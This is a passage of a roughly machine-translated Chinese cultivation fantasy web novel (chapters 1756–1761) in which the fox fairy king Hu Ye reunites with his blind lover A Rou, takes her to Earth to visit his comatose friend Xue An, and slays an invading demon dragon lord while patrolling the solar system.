    It was late spring and many flowers were blooming splendidly.


    The rich fragrance of flowers overflowed this small courtyard.


    Hu Ye stopped and stood in the courtyard, the gentle color in his eyes becoming more intense.


    at the same time.


    A soft female voice came from inside the house.


    "Does the guest officer need to spend it? If so, whoever you like will move by yourself!"


    Hu Ye didn''t speak, but trembled all over when hearing the female voice.


    After a silent silence.


    The female voice tremblingly said, "Is that you?"


    Huye felt a tight throat, and then nodded gently, "It''s me!"


    When there was a cry, there was a crisp sound of porcelain cracking in the room.


    Huye''s eyes moved slightly, and he wanted to step forward, but finally held back.


    There was another rustling sound in the room, and at the same time a female voice said in a nearly choked tone: "Wait, don''t come in yet!"


    Hu Ye smiled silently, and just stood in the courtyard and waited.


    After a while the soft curtain of the room was lifted, and a woman came out from it.


    The woman held the door frame with her hand, and fumbled and stood under the eaves.


    It was only then that she could be seen clearly.


    This is a gentle and delicate-looking woman, wearing a simple and elegant long dress with freshly applied powder on her face, but it gives a very comfortable feeling.


    But under her eyebrows, there were a pair of gray eyes.


    At this moment, these godless eyes stared straight ahead, and then she whispered: "Little fox, is it really you?"


    Little Fox����.


    If someone from outside heard this name, I really don��t know how they would feel.


    The dignified fairy king, the top genius of the young generation in the demon world, the heir to the throne of Qingqiu Fox


    Such an existence is actually called a little fox.


    More importantly, Fox Night actually responded.

 Chapter 1756： I do!

    I saw him smile slightly, then walked up quickly and gently held the woman''s palm, "A Rou, I''m back!"


    In an instant, the woman''s tears fell like a broken string.


    "I haven''t been here for so long, I thought...I thought I would never see you again!"


    Hu Ye took the woman''s shoulders distressedly, and hugged her into his arms.


    "Okay, okay, stop crying! Didn''t I come back now?"


    The woman gradually stopped her grief, and suddenly stretched out her hand to fumble on Huye''s cheek.


    "What''s the matter?" Hu Ye asked strangely.


    The woman was silent for a moment, and then whispered: "You have lost weight!"


    Fox night was startled.


    He thought about many possibilities, but he didn''t expect Arou to say this.


    After all, he is the blood of the celestial fox, how could he be thin?


    But at this moment, Arou stood up, then turned and walked into the house, "I''m going to cook some food you love!"


    Seeing her groping towards the back of the kitchen, Huye gently touched her face, smiled silently, and then quickly walked up.


    Although invisible to the eyes, Arou''s cooking skills are extremely good.


    Hu Ye leaned on the door frame, holding a cucumber in his hand, chewing big mouthfuls, and smiling and teasing the busy Arou to speak.


    "Rourou, did you miss me so much when I was away?"


    "Rourou, how did I find that you are beautiful again?"


    "Rourou, you look so handsome when cutting vegetables!"


    "Rourou..."


    This kind of mouth-breaking chattering is exactly the style of Huye.


    If it were replaced by someone else, such as Xue An, he would have blocked Fox Ye''s mouth very violently at this moment.


    But A Rou seemed to like to listen to such nutritious nonsense from Fox Ye.


    In addition to occasionally blushing because of Fox Ye��s "mockery", A Rou listened with a gentle face most of the time, and from time to time she laughed at Fox Ye��s exaggerated statements.


    And this smile often makes Hu Ye lose her mind.


    quickly.


    A table of food is ready.


    Without exception, they are all fox night favorite dishes.


    Huye is also welcome, waving his chopsticks is a madness.


    Listening to his feasting voice, A Rou put her hand on her cheek, her face was full of happy smiles.


    "Hey Rourou, why don''t you eat it?" Hu Ye swallowed a big meatball in one bite, and choked him to roll his eyes, but still asked with concern.


    A Rou shook her head, "I''m not hungry! You can eat it, I just listen!"


    "Oh! Then I''m not welcome!" As he said, the fox night suddenly drank a jar of Hundred Flower Stuffed Rice, and then he touched his mouth comfortably.


    "Good wine, Rourou, your brewing skills are getting better and better!"


    A Rou smiled so that her eyes were bent into crescent shapes, and her dim and godless eyes seemed to shine.


    "If you like it, drink it open, I''ve brewed a lot!"


    After a bottle of wine, Huye''s face began to redden at a speed visible to the naked eye, he laughed a few times, and then moved forward, Baqi kissed A Rou on the cheek.


    "Rourou is awesome, reward you with a bite!"


    A Rou''s face flushed to the root of her ears, "Big...Big bad guy!"


    Then he lowered his head, shy of not daring to look at Huye.


    "Hey!" Hu Ye smiled triumphantly.


    At the moment the beauty is on the side and the wine is in front, he is naturally full of joy.


    But at this moment, an invisible divine mind passed over this planet.


    No one is even aware of wherever he went.


    Only when he passed this small courtyard, Fox Ye, who was eating meat and drinking alcohol, shook his whole body, and then an extremely bright light burst into his eyes.


    The powerful coercion was even more gushing out, and he was about to touch Arou in front of him.


    An imperceptible brilliance suddenly appeared in the center of A Rou''s eyebrows, which directly protected her body and was immune to all external harm.


    If there are foxes here, they will surely scream.


    Because it was a drop of blood of the Immortal King who protected A Rou.


    at the same time.


    Hu Ye stood up suddenly, his face uncertain, and his eyes flashed with brilliance, and he was obviously confused.


    Because what he just received was the divine thought sent by Zhuge Zang with the help of the power of the sun.


    The message in Divine Mind was simple, but what it brought to Fox Ye was infinite shock.


    Xue Anli slashed the Lord of the Abyss. He was already in a coma at this moment, but the news of his rebirth has spread throughout the sky, causing the current situation on the earth to be very dangerous, and if he is careless, he is in danger of overthrowing.


    Each of these is a shocking event.


    But what worries Huye the most is the current situation of his friend Xue An.


    Seriously injured and unconscious?


    How could he suddenly fall into a coma?


    Could it be that you have fallen between life and death, unable to extricate yourself?


    Linghuye''s face turned pale with this thought.


    For monks, the way of cultivation is to go against the sky, and the difficulties and obstacles along the way are countless.


    Especially when your strength becomes more tyrannical, the crisis you will face will be more dangerous.


    Between life and death is one of the catastrophes, and also the most dangerous one.


    No matter what reason you fell into this demon barrier, as long as you enter, it will be difficult to wake up again.


    What''s more important is that outsiders can''t help in this robbery, and everything can only get through by themselves.


    At this point, Huye felt the seriousness of the matter more and more.


    But I just came back and just left...


    He was thinking about how to explain to A Rou.


    A Rou already whispered: "Are you leaving again?"


    Hu Ye nodded, "Yeah!"


    "Why is it so fast this time?"


    "Something urgent!"


    "Can''t you not leave?" Arou asked suddenly.


    Fox night was silent.


    After a while, Arou nodded, "Okay, I understand! There is wine I prepared for you in the backyard, you can bring it!"


    Hu Ye opened his mouth, "Arou..."


    A Rou had already stood up, "I''m a little tired, help me close the door when you go out!"


    After that, she turned around and staggered towards the bedroom.


    Huye looked at her back, and now a guilty expression appeared on her always cynical face.


    "Sorry! This matter is related to my friend''s wealth and life, I must go!" He said softly, then turned and left.


    Hearing the sound of footsteps outside, Arou, who was leaning against the bedroom door, slowly slid to the ground, then lowered her head and sobbed silently.


    In her limited life, there is a clear dividing line.


    Before the dividing line, her life was completely dim, and even hope had been lost.


    Everything changed with the appearance of Fox Night.


    For the first time, her life also had brilliance.


    But she knew very well that this man would definitely not stay with her forever.


    So she cherishes the time with Fox Ye.


    Every time Fox Night comes, she is the happiest and happiest time.


    But this time, he just came for less than an hour, and left without even finishing a meal.


    Although she said it was okay, her heart was still full of unspeakable loss.


    Is he tired of me?


    probably!


    After all, who would like a blind man?


    What''s more, he is so handsome and powerful!


    These thoughts ate her heart like a poisonous snake, and gradually made her despair.


    But at this moment the sound of footsteps suddenly returned, and the bedroom door was opened.


    Fox Ye stood behind the door with scary eyes bright.


    A Rou stood up a little dazed, "You..."


    "Rourou, are you willing to follow me?" Hu Ye asked categorically.


    "Go? Where to go?"


    "Go and see my friend, would you like to?"


    A Rou was stunned.


    "I thought about it for a long time, but I still think it''s too cruel to leave you here alone. After all, there isn''t even a speaker here..."


    "I''m willing!" Before Fox Night started talking, Arou nodded firmly.


    "Uh, it might be a bit dangerous on this road, I..." Hu Ye didn''t expect A Rou to agree so quickly, so he wanted to explain a little bit dazedly.


    But A Rou shook her head straightforwardly, "Needless to say, no matter where I go or what I do, I am willing!"

 Chapter 1757： In love, only in courtesy

    "Come on, hold me!" said Hu Ye.


    A Rou wrapped her hands around Fox Ye''s waist with a red face.


    Although she has known Fox Yee for a long time, the relationship between the two of them is from love to courtesy. At most, Fox Ye will occasionally "shamelessly" kiss her, and she has never been as close as it is now. .


    So Arou stammered and said, "I...how shall we go next? Do you directly ascend?"


    Although Taoism is not too prosperous in this world, folk legends about immortals are very broad.


    At least Arou had heard of the fairy who soared by the day.


    And Hu Ye never concealed his identity as an extraordinary person.


    Only in the past, A Rou wisely chose to avoid this, but now that she finally has the opportunity to leave together, her heart is naturally very excited.


    Fox night smiled, "Of course not! Because the place of my friend is far away from here, even if it is me, if I want to fly over, I have to walk for a long time. By then, the day lily may be cold. Up!"


    "Ah... what should I do?"


    "Naturally take a shortcut! Don''t worry, I have my own way!" Huye said with a grin, and then gave a soft drink, "Hold tight!"


    As soon as the voice fell, his whole person rose up into the sky, so scared that Arou hurriedly hugged him.


    In an instant, Hu Ye led A Rou to fly away from the city and into the sky.


    The cold wind was bitter, and A Rou couldn''t help subconsciously burying herself in Fox Ye''s chest.


    Fox Ye smiled, and a white tail suddenly appeared, covering A Rou''s body.


    Feeling the furry warmth, Arou couldn''t help but be surprised: "Little fox, is this your tail?"


    "Uh... Rourou, can you stop calling me a little fox? If my friends hear this, I will lose face!"


    "Why is there no face? Isn''t the little fox cute?"


    "Uh...you don''t understand! Don''t call me a little fox anyway!"


    "What''s that called you?"


    "Why don''t you call me husband!" Hu Ye said with a narrow smile.


    "Husband? What does that mean?" Arou was obviously unfamiliar with this earth-specific term.


    "Um... it means being a very good friend!"


    "Oh! Okay then, husband!" A Rou''s eyes were bent into crescent shapes, and she said with a smile.


    Hu Ye was startled slightly, and even if he coughed slightly, he turned his head with difficulty, "Okay! You may be a little dizzy next, but you will be well soon! Remember to hold me tight, don''t let go! "


    "Good husband!" A Rou responded crisply.


    Looking at Ah Rou with an innocent look, a sense of guilt suddenly appeared in Hu Ye''s heart.


    Is he too shameless?


    How to deceive such a pure girl!


    Bah, scumbag!


    Hu Ye sipped himself secretly, and then the brilliance flashed in his eyes, and six tails suddenly appeared behind him, plus the one covering Arou, which was exactly the number of seven.


    I saw the six tails wagging in the air, and the image of Fox Ye changed accordingly, showing the original face of the Tianhu family.


    The powerful momentum raged in the high altitude, spreading even hundreds of miles away.


    This is also the reason why Fox Ye had to fly to a high altitude to reveal his body. If it were in a city, this momentum alone might be enough to shatter the spirits of the people in the city.


    at the same time.


    Hu Ye closed his eyes and silently felt the energy from the depths of his soul.


    There was a little brilliance in the void of his divine consciousness.


    Every bit of brilliance represents a place of worship.


    We must know that the fox tribe is enshrined as a **** in many places, not to mention the most powerful Celestial fox tribe.


    Whenever someone enshrines him, it will form a little brilliance in the magical void of Fox Ye.


    As long as the incense continues, this brilliance will continuously provide the power of faith to the fox night.


    This kind of power may not be a big deal to Fox Ye, who is a precious fairy king.


    But for some weak gods, this kind of incense means power.


    Therefore, there is actually another way of cultivation among the heavens, which is to be widely worshipped, to accumulate the power of incense, and to become enlightened.


    Of course, this kind of gods condensed by faith has great limitations, but it has to be said that it is a good way to find another way.


    At this time, Fox Ye was searching silently in the divine consciousness void.


    at last!


    He found a brilliance that looked extremely bleak compared to other light spots and seemed to collapse at any time.


    "Damn, the incense is actually weak again, it seems that it is time to clean up Lingying Palace this time when I go back!"


    Hu Ye muttered, and suddenly a trace of divine thought was connected with this brilliance.


    boom!


    In an instant, a connection established by the power of faith took shape across countless stars.


    Then Hu Ye yelled loudly, "Drive me!"


    As he said, his tail was gathered together like two hands, and then he jerked to the side.


    Click!


    The space was torn apart, revealing a bottomless space-time channel.


    The spatiotemporal turbulence that overflowed from it swept across the entire sky.


    But Hu Ye smiled, "Softly hold tight, let''s go!"


    After that, he raised his foot and stepped into this space-time passage before disappearing.


    The space-time passage was still violent, but at this moment, a furry tail suddenly stretched out and then slammed it.


    This space-time passage suddenly collapsed, and the violent space-time power directly shook the entire void.


    Although this space-time channel converged to the invisible right after that, the power that burst out at that moment still made all the powerhouses in this world amazed and looked up here.


    what happened?


    Why did such a palpitating power suddenly come from high altitude, and then disappear without a trace?


    Of course, their question is destined to be unanswered.


    Because the instigator has already left here and disappeared into the boundless space and time.


    Earth.


    Fanjing Mountain, Lingying Palace.


    As a large temple with a thousand-year heritage, the Lingying Palace at this moment is in dilapidated condition, a scene of withering.


    The direct cause of all this is the serious loss of incense followers.


    And this phenomenon is not just the Lingying Palace family.


    In fact, in today''s China, apart from those decent beliefs, all other beliefs are rapidly withering.


    In the words of these former believers themselves, now there are living Chinese patron saints, who is willing to worship these wood-carved clay sculptures!


    That''s right!


    Because of Xue An''s performance all the time, he has been respected by the people and even by the government as the patron saint of the Chinese people, and he has been worshipped.


    It''s just that Xue An didn''t pay too much attention to it.


    But anyway, the Lingying Palace today is indeed a desolate scene. Even the main hall door was broken due to disrepair. Shi Xueqing didn��t have money to repair it, so he just found a piece of scrap colored steel for it. Blocked.


    The color steel is even sprayed with a few large characters on the fox breeding farm, which is quite suitable for putting it here.

 Chapter 1758： I take you as a brother, but you have my sister...

    That''s right!


    Today, only Shi Xueqing is still staying in the Lingying Palace!


    I don��t know if everyone still remembers her.


    This girl was the chief disciple of Lingying Palace when Fox Night first landed on the earth.


    Now she has been promoted and has become the head of Lingying Palace.


    It''s just that she is the only one who can control her, and she also has to be the guard and sweeper.


    now.


    Shi Xueqing lit a stick of fragrance and inserted it into the incense burner, then raised her head to look at the dilapidated fox fairy statue.


    "Hey, Master Grandpa, this is already the last scent of fragrance. If you don''t show up, we won''t even be able to burn this in the future!"


    The idol was silent.


    Shi Xueqing sighed and said, "Master, I know that you like beef noodles, but the problem is that we can''t afford it now! So we can make do with it! And the owner of the beef noodle restaurant in Yamashita has already said that she won''t pay for her noodles. , She is ready to demolish your idol!"


    The idol still didn''t say a word.


    "You said that you showed your spirit last time somehow, and you are still good friends with Mr. Xue. Why this time Mr. Xue has encountered difficulties, but you have been reluctant to show up? Well, there are still a few good men and women before Come and burn incense, now even these people refuse to come!"


    Shi Xueqing frowned as she spoke, and finally sat cross-legged on the shrine, and said helplessly.


    "Yu Ran has already invited me several times. If you refuse to show up, then I plan to leave. By then, you won''t even be able to eat this incense. You will be left here alone! "


    Still no response.


    Shi Xueqing simply stood up from the shrine, reached out and patted the shoulder of the statue, "Hey, speak!"


    At this moment, the void above the idol''s head suddenly rippled, and then a mysterious and profound brilliance projected out of it and sank into the idol''s body.


    The whole process was lightning fast, even Shi Xueqing didn''t even notice it.


    "Master Patriarch, if you don''t speak anymore, I''ll really leave!" As he said, Shi Xueqing turned and jumped off the shrine.


    At this moment, a playful voice came from behind her.


    "What did you say?"


    Shi Xueqing''s body suddenly froze.


    This voice...


    Then she slowly turned around, and the first thing that caught her eye was the statue of the god.


    It''s just that the image of the **** at this time has changed drastically, the original mottled golden body has disappeared, and it is replaced by a white robe.


    That cheek is even more handsome, but the three-pointed evil smile at the corner of his mouth makes it seem very cynical.


    Shi Xueqing gradually widened her eyes, "Zu...Zu Master?"


    Hu Ye smiled slightly and nodded, "Good apprentice, Patriarch is back! How is it? Does it feel very pleasantly surprised?"


    Shi Xueqing''s eye sockets suddenly became wet.


    This is the Patriarch in my memory!


    It''s still like this... Don''t worry about it!


    At this moment, only a soft female voice said: "Husband, who are you talking to?"


    "Oh! No one, just a little student of mine!"


    Hu Ye said with a smile, the state of the fox clan gradually receded, and A Rou''s figure appeared.


    Husband?


    After hearing this name, Shi Xueqing looked at A Rou in shock.


    This...what is going on?


    Why does this woman look more like a mortal? And it seems that the eyes are not so good!


    Shi Xueqing was suspicious in her heart.


    Hu Ye said with a smile: "Come on, good disciple, come and meet your grandma!"


    puff!


    This title almost made Shi Xueqing scream for it.


    A Rou was even more ashamed, then turned her head, smelling the smell around her curiously.


    Although invisible by nature, her sense of smell and hearing is extremely sensitive, and she can even catch very subtle fluctuations.


    For example, now, she could hear Shi Xueqing''s unnaturally twisting her feet because of embarrassment and surprise.


    As for the surrounding environment...


    She seemed to smell the smell of not cleaning for a long time.


    really.


    At this moment, Hu Ye looked around and was taken aback.


    "What''s the matter? Why is my Lingying Palace broken more than last time?"


    Shi Xueqing coughed a few times, "This...did you just find out?"


    Hu Ye jumped off the stage and looked at the thick dust on the shrine, making an annoyed gesture: "I will endure everything else. What about my beef noodles?"


    "When I left, I specifically asked you to bring up the bowl of beef noodles every day? Who ate it?"


    Shi Xueqing looked helpless, "No one had eaten it, but they refused to give it away!"


    "Why?" Hu Ye looked angry, "This is not bullying, wrong, bullying the fox?"


    Shi Xueqing spread both hands, "Because I have no money!"


    Fox Night: "�c(�`_�`)��!"


    "Well, it seems that I, who haven''t shown up, have already made many people look down on me, but don''t worry, I will definitely make everyone look at me this time!" Fox Ye said with great momentum.


    As soon as the voice fell, I heard a woman''s voice outside.


    "Is the girl here? When are you going to pay back the beef noodle money you owe me?"


    Shi Xueqing smiled and turned to look at Fox Ye, "Master Pa...huh? What about people?"


    At the same time, a voice came from the distant sky.


    "Good disciple, Master Patriarch, I will go and see my old friend first, and I will leave the business to you!"


    When the words fell, the person was gone.


    Shi Xueqing stood there blankly, and only stomped her feet bitterly after a long time.


    "Master Grandpa, you...you are a big liar!"


    Lingying Palace is not far from Kunlun, where the battle began, and the footsteps of Huye are almost instantaneous.


    But as soon as he entered Kunlun territory, several detection circles were activated.


    "Is Zhuge Zang''s handwriting? It should be him, otherwise no one can detect me at full speed!" Hu Ye smiled to himself.


    But what he didn''t know was that the Earth Coalition Command had also received the news at this moment.


    "A humanoid existence is coming here at a speed a hundred times the speed of sound!"


    "What? Can the target be locked? Aim all the missiles at him immediately!" Many generals exclaimed.


    But as soon as the voice fell, a figure appeared in the center of the battlefield on the monitor screen.


    The atmosphere in the battlefield headquarters instantly stagnated.


    At this time Gong Wei''s people around Xue An also felt strange.


    When everyone raised their heads to look at this silly man.


    Hu Ying in the crowd was shocked, and then shouted in an incredible tone.


    "brother?"


    Fox Ye was also shocked, and then his eyes gradually widened, "Ying...Ying''er? Why are you here?"


    That''s right, Hu Ye didn''t know until now that his sister had been with Xue An all the time.


    "Uh...this..." Hu Ying wanted to explain something with a guilty conscience.


    Hu Ye suddenly understood, and then tremblingly pointed to Xue An, "You... have you been with him all the time?"


    "Yes! Brother Xue saved me, so I have been following him all the time!"


    Huye''s eyes gradually turned red, and then the unconscious Xue An gritted his teeth and shouted: "You bastard, I treat you as a brother, but you soak my sister?"

 Chapter 1759： Misfortune

    "What''s the matter?" An Yan separated from the crowd and walked over.


    As soon as he saw her, Hu Ye, who was already aggressive, immediately stunned, and hurriedly landed on the ground, bowing respectfully.


    "sister in law!"


    An Yan was startled, and then he smiled, "So it''s Brother Foxye! What were you talking about just now? I didn''t hear clearly, can you say it again?"


    Although An Yan was laughing, Hu Ye felt a chill for no reason.


    Especially after hearing the question later, he swallowed with difficulty, "Sister-in-law, I didn''t say anything! You heard it wrong, right!"


    "Really didn''t say?"


    "I really didn''t say!" Hu Yeyi said righteously.


    But at this moment, I thought about suddenly poking his head out from behind An Yan, "Mom, Uncle Fox Ye is clearly lying, he just clearly said that Dad is a bastard!"


    "Yes, I heard it too, and it was so loud!" Nian-nian made another cut.


    A cold sweat loomed on Hu Ye''s forehead, and then looked at Hu Ying with a look of help.


    But at this moment, Hu Ying, all her attention was attracted by A Rou who was standing behind Hu Ye, and she didn''t even notice it.


    At this moment, An Yan sighed softly, "Brother Foxye, you have worked so hard to come to the earth to help out. I am grateful to you, but you should not misunderstand your brother. Yes, Ying''er has indeed been with us all the time. Yes, but your brother has never done anything to be sorry for a friend. I can testify to this!"


    Hearing An Yan��s gentle and firm words, Hu Ye was ashamed, and lowered his head and said, "Sister-in-law, I was just talking about it for a while. Don��t go to your heart. In fact, even without your testimony, I will not I would doubt Xue An, after all I have known each other for so many years, I still know his character!"


    "It''s fine if you can think like this!" An Yan nodded, just about to say something next.


    At this moment, Hu Ying pointed at A Rou with a look of astonishment, "Brother, who is she?"


    "Ahem!" Hu Ye coughed slightly, "I almost forgot to introduce you. This is my girlfriend, that is, your sister-in-law, but you can''t call her sister-in-law?"


    "Sister-in-law?" Hu Ying''s eyes gradually widened, her face full of disbelief.


    "Yeah! Is there any problem?"


    Hu Ye''s face was indifferent, but Arouke was not as thick as his. She was flushed, lowered her head and kneaded the corners of her clothes, obviously she didn''t know what to do.


    At this moment, An Yan suddenly stepped forward and took her hand.


    Feeling the warmth of An Yan''s palm, A Rou raised her head in surprise.


    Although I can''t see it, it can be concluded from the faint fragrance that comes from it and the delicate hand that holds oneself, the other party must be a peerless beauty.


    Just when A Rou was shocked.


    An Yan smiled slightly, "So you are the girl that Fox Ye has been thinking about! You look so beautiful!"


    A warm current suddenly appeared in A Rou''s heart, and she opened her mouth, trying to say something, "I..."


    An Yan interrupted her directly, "Hu Ye calls my sister-in-law, then you call me sister-in-law too! Go, let''s talk over there!"


    Speaking of An Yan, he took A Rou''s hand and walked inside.


    The two little girls followed, and then she lowered her voice and asked Tang Xuan''er aside.


    "Aunt Xuan''er, can this aunt''s eyes be invisible?"


    Tang Xuan''er smiled, "Yes!"


    "Wow, this aunt is so pitiful!" Nian Nian said.


    Tang Xuan''er said sternly: "If you miss Nian, remember, you can''t just say these things casually! Even out of sympathy, because it will hurt others!"


    "Oh!" The two little girls nodded seemingly.


    But Hu Ying stood there and stared blankly, obviously still a bit unable to turn.


    After An Yan and her party walked away, she immediately leaned forward and said in a very low voice: "No, brother, are you going to come for real this time?"


    Hu Yebai glanced at his sister, "Nonsense, when have I not been serious?"


    Hu Ying sneered and counted with her fingers.


    "Last time you said that you were serious, but the princesses of other people''s scorpion race have all entered the Qingqiu fox country. You are so good, and hide without a trace!"


    "And the last time the White Snake clan princess, the last time Yuhuo Palace Master Sister... I can''t even count what I know, what else are you talking about?"


    Hearing his sister''s words, Huye''s eyelids twitched, and then she laughed, "That''s different. The vulgar fans were chasing your brother and me backwards. I don''t even bother to care about them!"


    Hu Ying rolled her eyes, "Can you stop being so narcissistic?"


    "What I said is the truth! Of course, it may also be that I said something messy at the beginning, but I promise that I and all of them are innocent!" Hu Ye anxiously touched his forehead. The veins are all visible.


    "What about this? What do you say about this?"


    "This..." Hu Ye smiled, "I don''t know, but I just want to give her the best!"


    Ling Huying fell silent suddenly.


    Because why is it not like that?


    But immediately she sighed faintly: "Brother, have you ever thought that if the elders knew that you had found a mortal woman to be your wife, and she was still a blind woman who could not be seen, how would you say they would react?"


    "I care about their reaction! Anyway, I just like her, is it wrong to like someone?" Hu Ye immediately retorted.


    Hu Ying''s eyes lit up when she heard the words, and then smiled and said, "Yes, is it wrong to like someone? Then I..."


    "Come on, your situation is different from mine! That''s my good friend!"


    "What''s wrong with a good friend?" Hu Ying disapproved.


    "The key is that they have a family!"


    "But I don''t mind being a concubine!"


    Fox Night: "..."


    "The fox door is unfortunate, it''s the fox door!" Hu Ye sighed up to the sky.


    "Don''t give me this set! Be careful, I will tell my future sister-in-law all your details!"


    "you dare!"


    "Look, I dare not!"


    Just as the two brothers and sisters were bickering daily.


    Two brilliant lights descended from the sky, and after the figures inside appeared, it was Zhuge Zang and Tianzhe.


    The two of them have not been idle recently, running around in outer space all day, arranging various formations to prepare for the next defense When they appeared on the court, the two first glanced. He saw the Fox Night standing there, and then he was stunned.


    Hu Ye smiled slightly, "Old folks, long time no see!"


    Tianzhana rubbed his eyes and made sure it was not dazzling, he couldn''t help exclaiming: "I wiped it, vixen, where did you come out?"


    The nickname of the vixen made Huye''s face sinking suddenly, "The surname is Tian, ??are you the **** tickle again? I want to be beaten!"


    "Oh, come out heads-up if you refuse to accept it!" Tianzhe said nonchalantly.


    "One-on-one! Who is afraid of whom!"


    The two fairy kings were just as amused as a child.


    "It''s alright, you two are really not ashamed!" Zhuge Zang waved his hand to stop the two of them from fighting, and then smiled and said to Fox Ye.


    "I just felt someone invaded the detection circle I left behind, so I guessed it might be you, so I hurried back! I didn''t expect it to be you!"

 Chapter 1760： Wind blows

    After spinning around Xue An, who was unconscious, Huye stopped and was silent.


    "What do you think?" Zhuge Zang asked softly.


    Hu Ye looked at Zhuge Zang, "What do you think?"


    "I think..." Zhuge Zang laughed bitterly, "He is probably already caught between life and death!"


    Hu Ye sighed lightly: "It''s not very possible, but it is!"


    "What should I do?" Tianzhe said with a solemn expression.


    "There is no way, after entering the life and death, everything can only rely on oneself, external forces can not provide any help at all!" said Hu Ye.


    "Yeah! But if he can really break through life and death and get out of it, then his future achievements...will be more terrifying than anyone thought!" Zhuge Zang also said.


    "He was already an Immortal Venerable in his previous life, so what..." Tianzhuna suddenly stopped talking, and a look of horror appeared on his face.


    "You mean..."


    Hu Ye and Zhuge Zang looked at each other, and then nodded together.


    Now, when Tianzhana looked at Xue Anshi, the brilliance in his eyes became extremely complicated.


    There are joys and worries, but more fears of the unknown.


    The arrival of Fox Night naturally delighted the entire senior management of China.


    After all, this is a real fairy king powerhouse!


    By all accounts, there are already three fairy kings on the earth today.


    Even if the Tianzha is the residual blood cultivation base, Zhuge Zang specializes in auxiliary, it is shocking enough.


    After all, many great sects in the depths of the starry sky often have only one immortal king sitting in town, and two of them are already considered top sects.


    Now the earth has three at once, which is simply a luxury.


    In the next few days, the entire planet began to prepare intensively.


    Zhuge Zang took the lead in the outer space, and Tianzhana and Huye were responsible for the implementation, and soon a layered defensive array was established.


    And the troops of various countries on the earth are not idle, they use the terrain to build extremely strong fortifications.


    At the same time, the arsenal is rushing to work 24 hours a day, and batches of powerful weapons designed to deal with repairers have been manufactured.


    This atmosphere has gradually settled down many people who were originally pessimistic.


    Everything...seems to be on the bright side!


    "The king sent me to patrol the mountains!" A terrible song echoed in the void, and even the space dust was shattered wherever he went.


    Then the figure of Houhuye appeared in space.


    Although there is no air in the space, it is not a problem for Fox Ye. A slight touch of the space by the divine mind can make the song spread far.


    At this moment, the singing Fox Ye was full of intoxication, and almost danced.


    His current location is on the edge of the solar system, which is densely packed with various asteroids and extremely empty.


    Unless it is a strong person above the true immortal level, it is difficult to cross such a zone.


    This can also be said to be the natural defense barrier of the solar system.


    The task of Fox Night is to patrol around this edge area to prevent anyone from coming in.


    This is a very boring task, and most people may go crazy after spending half a day in such a silent environment.


    But Hu Ye didn''t care about it, and even used it as a stage to show off his singing voice.


    "Friends over there, how are you?" Fox Ye imitated some stars in the concert, pointing to the distant planetary area.


    Under the shock of the divine mind, countless small boulders fluctuated and then shook into dust.


    This effect makes Huye very satisfied.


    "It seems that the friends here are very enthusiastic! Then, Mr. Fox Ye, the famous singer among the heavens, will sing another song for everyone. Why are you willing to cry!"


    "I always thought our love was so beautiful..."


    From the beginning to the end, the singing voice without even a word in the tune spread far, far away.


    And somewhere in the void beyond the edge, the darkness shook a few times, and then the figures of several people appeared.


    "My god, who is singing this? This is too ugly!" said a silly dragon man in pain.


    Why do you know he is a dragon?


    Because this man obviously didn''t practice well, there were still two dragon horns remaining on the forehead mountain.


    It''s just that the dragon''s horns are as black as ink, which is obviously not a serious dragon.


    At this moment, a figure raised his hand and knocked him on the head severely.


    "Stop the **** nonsense, what if you startle the people inside?"


    "Yes, Lord Lord, I know it was wrong!" The dragon man said with a grin, clutching his head.


    At this moment, Fox Ye had already sung to a climax, and the broken song came from afar.


    "Why are you willing to cry and look at yourself so haggard in the mirror..."


    The Holy Master couldn''t help frowning, his face looked painful, "Don''t say it, it''s really **** nasty!"


    "Master Saint, could this be the defensive circle laid by the opponent?"


    "Well, it''s really possible! Let''s go! Let''s get rid of the singing guy now, and then kill the earth and find Xue An to avenge the old man!"


    Speaking of this, the eyes of the Lord Lord are full of excitement.


    Because he has waited too long for this day.


    I thought that there would be no chance in this life, but who knew that news came suddenly that Xue An was seriously injured and it was no longer possible!


    Hearing this news, the holy lord was ecstatic, and immediately led his hands to rush over.


    As for his identity...


    I don''t know if you can remember that in the Secret Realm of Qi Luck, Xue An once tidied up a magic dragon, and even dragged him directly from the world he was in through the passage of time and space.


    Then his men shouted a classic sentence!


    It''s Yaoshou, Lord Lord has been taken away!


    That''s right!


    It''s him!


    The world where this man lives is not far from the earth, so he was the first to arrive.


    Moreover, after experiencing the "extraordinary shame and great humiliation" of the year, this magic dragon saint master went out of his anger to forcefully manage, and actually broke through the gate of cultivation and reached the realm of real fairy.


    now.


    He led his hands through the vast boulders and went straight to the source of the singing.


    It''s near!


    Closer!


    When the shadow of Fox Ye appeared in his eyes, a cold smile appeared on the face of the magic dragon saint master.


    Damn, singing is even worse than me, it''s unforgivable!


    Thinking in his mind, he couldn''t wait to rush towards the night of the fox.


    But at this moment, Hu Ye suddenly turned his head and glanced at him coldly.


    Click!


    The icy eyes were full of supreme pressure The body of the Sage Lord of the Demon Dragon froze in an instant.


    He froze in the air with horror, trying to say something, but he couldn''t say it.


    Then after hearing a bang, the body of the demon dragon saint master completely shattered and fell.


    It took so much effort to run here over such a long distance, but he didn''t even hold a look in Fox Ye''s eyes.


    This magic dragon saint master seemed to have come to die on his own initiative.


    at the same time.


    His gangsters arrived out of breath, but before they could react, the scene that came into view made them all dumbfounded.


    It was not until a while later that someone screamed.


    "Yaoshou, Lord Lord is dead again!"


    "Wipe, my salary this month has not been paid yet!"

 Chapter 1761： Good luck

    Linghuye, a group of simple-minded people, couldn''t help laughing.


    "Hey, where did you guys come from? Why did you come here?"


    When he said this, the coercion of the fairy king on Fox Ye''s body was as substantial as it was, and the dragons dared not even lift their heads.


    "My lord, spare your life! We are all forced!"


    "That''s right, your lord, all this is the idea of ??the devil dragon holy lord, it has nothing to do with us, we are also victims!"


    "Yes, yes, I haven''t paid my salary this month!"


    This group of dragon people began to scream for Zhuangtianqu.


    "Oh? It has nothing to do with you? It''s not just for you to just talk about it. Now tell me in detail, who are you and what are you doing here! If I say that I am satisfied, then I am not satisfied. ...... Hmph, what kind of Holy Lord is this example!"


    Anyway, it''s okay to be idle anyway, Hu Ye simply began to train these gangsters.


    "Yes, yes, don''t worry, sir, we must know that everything is endless, and we guarantee your satisfaction!" said the group of dragon people eagerly.


    "Okay, come one by one, no one is allowed to jump in the line, have you heard!" Hu Ye said with a smile.


    Just when Huye was having fun with such a dragonman.


    In the void about hundreds of millions of kilometers from the solar system, a starship suddenly appeared.


    "Is it coming soon?" Meng Yao asked anxiously in the star boat.


